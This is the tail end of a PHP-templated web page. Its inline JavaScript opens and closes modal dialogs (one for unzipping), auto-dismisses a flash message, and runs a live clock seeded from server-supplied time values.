function openUnzip(){ document.getElementById('modalUnzip').style.display = 'flex'; }
document.querySelectorAll('.modal').forEach(m=>{
m.addEventListener('click',e=>{ if(e.target===m) m.style.display='none'; });
});
function dismissFlash(){ const f=document.getElementById('flash'); if(f) f.remove(); }
window.addEventListener('load', ()=>{ const f=document.getElementById('flash'); if(f){ setTimeout(()=>{ if(f) f.remove(); }, 3000); }});
(function(){
const baseUtcMs = <?= (int)$serverNow ?> * 1000;
const tzOffsetSec = <?= (int)$serverOffset ?>;
const clientStart = Date.now();
const el = document.getElementById('serverClock');
function pad(n){ return String(n).padStart(2,'0'); }
function render(utcMs){
const d = new Date(utcMs + tzOffsetSec*1000);
const s = d.getUTCFullYear() + '-' + pad(d.getUTCMonth()+1) + '-' + pad(d.getUTCDate())
+ ' ' + pad(d.getUTCHours()) + ':' + pad(d.getUTCMinutes()) + ':' + pad(d.getUTCSeconds());
if (el) el.textContent = s;
}
function tick(){ render(baseUtcMs + (Date.now() - clientStart)); }
tick(); setInterval(tick, 1000);
})();
</script>
</body>
</html>